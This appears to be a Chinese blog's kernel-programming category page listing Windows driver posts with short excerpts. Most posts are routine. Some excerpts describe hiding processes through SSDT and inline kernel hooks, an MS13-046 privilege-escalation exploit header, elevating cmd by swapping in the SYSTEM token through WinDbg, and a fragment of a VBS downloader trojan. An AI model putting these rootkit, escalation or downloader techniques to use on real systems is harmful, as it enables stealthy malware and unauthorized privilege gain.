内核编程
文章平均质量分 87
寒江雪语
这个作者很懒,什么都没留下…
展开
-
VC编程 设置IE浏览器代理(不需重启浏览器)
参考 :http://www.codeproject.com/Articles/3651/Change-Internet-Proxy-settings?display=Print:http://support.microsoft.com/kb/226473/en-us 每次手动设置IE浏览器的代理相当麻烦,于是查阅相关资料,写了个建议设置IE代理的小程原创 2013-11-01 22:03:22 · 1905 阅读 · 0 评论 -
驱动层PsSetCreateProcessNotifyRoutine监视进程 ,返回应用层
源程序大致过程如下:1、驱动程序调用函数PsSetCreateProcessNotifyRoutine 设置监视进程的回调函数ProcessMonitorCallback ,当应用层有进程创建时,驱动程序调用回调函数ProcessMonitorCallback获得新建或者结束的进程信息,将信息存放到扩展结构中,以便通过method_buffer方式传回应用层。2、当原创 2014-01-04 21:21:54 · 3281 阅读 · 1 评论 -
DeviceIoControl 直接从磁盘扇区读文件
好久没写博客了,最近看了下DeviceIoControl 关于磁盘的应用,特记一文,以备久后查阅。首先介绍下,文件在磁盘的存储结构(具体可以到网上查询NTFS文件系统相关的教程后者数据恢复方面教程的介绍)。下面介绍的仅与此文相关。文件属性(头):(Ps: 截图摘自[数据重现文件系统原理精解与数据恢复最佳实践].(马林))然后我们需要认识两个结构:原创 2014-07-20 02:35:10 · 4739 阅读 · 0 评论 -
遍历驱动设备栈
参考 《windows 驱动开发技术详解》,部分关于对象的结构,请看上节原创 2014-09-06 23:29:59 · 2665 阅读 · 0 评论 -
LIST_ENTRY链表学习
链表是驱动开发中经常遇到的一个数据结构,主要是双向循环链表;要使用链表,需要用到一个LIST_ENTRY的结构,其定义如下:typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; // 指向下一个节点 struct _LIST_ENTRY *Blink; // 指向前一个节点} LIST_ENTR原创 2014-08-22 00:27:44 · 6283 阅读 · 0 评论 -
windows 访问控制模型(一)
转自:***************************************************************************************************标 题: 【原创】白话windows之 访问控制模型(Access Control Model)作 者: ddlx时 间: 2013-06-10,21:38:41链 接:原创 2014-08-11 23:53:23 · 4915 阅读 · 0 评论 -
windows 访问控制模型(二)之安全描述符
安全对象Securable Object是拥有SD的Windows的对象。所有的被命名的Windows的对象都是安全对象。一些没有命名的对象是安全对象,如:进程和线程,也有安全描述符SD。安全对象Securable Object是拥有SD的Windows的对象。在 Windows系统中,其是用一个安全描述符(Security Descriptors)的结构来保存其权限的设置信息,简称为SD原创 2014-08-12 00:58:29 · 5466 阅读 · 2 评论 -
ring3通过METHOD_BUFFERED、METHOD_IN_DIRECT两种常用方式和ring0级交互读文件测试
为了熟悉ring3和ring0交互过程,写了个简单的程序测试一下,以便加深印象。本文通过测试METHOD_BUFFERED、METHOD_IN_DIRECT方式读某磁盘下固定的文件,关于ring0和ring3通信方式具体见如下链接http://book.51cto.com/art/201107/275240.htm具体代码如下:ring3:#include #includ原创 2014-08-28 00:15:31 · 2366 阅读 · 0 评论 -
Vs2010 配置驱动开发环境
一直习惯VS2010开发环境,之前配过一次vs2010的驱动开发环境,重装系统后,又要重新配置,找了好几篇文章,配置都没成功,突然相到之前配置过成功过,直接将原来驱动程序的配置文件拿过来使用就可以了。当然首先: 打开(生成-->配置管理器) 并新建一个名称为"Dirver"的解决方案配置 从此处复制设置:debug.此时会在工程目录下成成一个配置文件。 将下面内容复制到配置文件中,关闭工程原创 2014-08-02 00:50:27 · 2554 阅读 · 0 评论 -
进程监视函数PsSetCreateProcessNotifyRoutine
这两天看书,看到这个函数,感觉挺有意思,就测试了下。从便面意思来看PsSetCreateProcessNotifyRoutine 设置创建进程通知的函数。The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of原创 2014-01-02 01:46:36 · 3415 阅读 · 0 评论 -
内核层 inlinehook 隐藏进程
上次是SSDT HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/s原创 2013-12-17 20:48:57 · 3767 阅读 · 1 评论 -
ring3 char 字符数组 传入ring0后 转化为UNICODE_STRING处理
通过 函数 DeviceIoControl(device, //打开的设备 MY_DVC_IN_CODE, //控制码 in_buffer, //输入缓冲区 in_buffer_len, //输入缓冲区长度 NULL, //没有输出 0, //输出缓冲区为0原创 2013-11-18 22:50:24 · 1872 阅读 · 0 评论 -
UNICODE_STRING 处理
转自:http://www.cnblogs.com/zudn/archive/2010/12/30/1921457.htmlUNICODE_STRING:typedef struct _UNICODE_STRING { USHORT Length; //UNICODE占用的内存字节数,个数*2; USHORT MaximumLength;转载 2013-11-19 00:49:53 · 3588 阅读 · 0 评论 -
内核模式下的字符串操作
VOID StringTest(){ // ASCII 字符串 CHAR* char1="Hello,World"; KdPrint(("char1=%s\r\n",char1)); // 宽字符字符串 WCHAR* wchar1=L"Hello,World"; KdPrint(("wchar1=%ws\r\n",wchar1)); KdPrint(("wchar1=%S\r\n转载 2013-11-19 00:56:36 · 1364 阅读 · 0 评论 -
MS13-046特权提升漏洞(转)
留此代码备用:“ /* * thanks to: Tavis Ormandy & ProgmBoy & instruder * by [email]boywhp@126.com[/email] * build by WDK7600 * tested on windows 2003 x64 en * - 1.ImageBase=0x10000 * - 2.wdk make转载 2013-11-21 13:57:40 · 2533 阅读 · 1 评论 -
驱动层SSDT 隐藏进程
闲着没事,便想在熟悉下之前看过的驱动编程相关知识,于是就写了这个简单的驱动曾隐藏进程程序。要点: 在驱动层隐藏,主要还是使用SSDT挂钩的方法,相关知识,可以到网上查找,在隐藏进程时,为了能够隐藏多个进程,在内核代码中创建一个链表,结构如下://存放要隐藏进程的名字链表typedef struct _ProcNameLink{ UNICODE_STRING ProcName; s原创 2013-11-27 21:19:59 · 6525 阅读 · 1 评论 -
cmd 中echo 写入vbs下载者木马
转:http://www.hackseo.net/post/131.htmlSub download(url,target) iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "转载 2013-11-30 20:35:00 · 2242 阅读 · 0 评论 -
ZwQuerySystemInformation 函数查看进程列表
程序主要应用函数 ZwQuerySystemInformation 实现的,这也是window内核的一个很重要,结构很复杂的函数。函数原型 如下://声明ZqQueryAyatemInformationNTSTATUS ZwQuerySystemInformation( I原创 2013-12-14 01:17:14 · 11273 阅读 · 1 评论 -
windbg修改cmd的token提升其权限
使用windbg 调试xp。运行cmd,whoami查看权限如下:下面要做的就是把cmd.exe 的token值用system的token替换。1、 Ctrl + break ,windbg进入调试模式!process 0 0 查看xp所有进程,结果如下:kd> !process 0 0**** NT ACTIVE PROCESS DUMP ****PROCESS原创 2015-06-06 19:08:39 · 2284 阅读 · 0 评论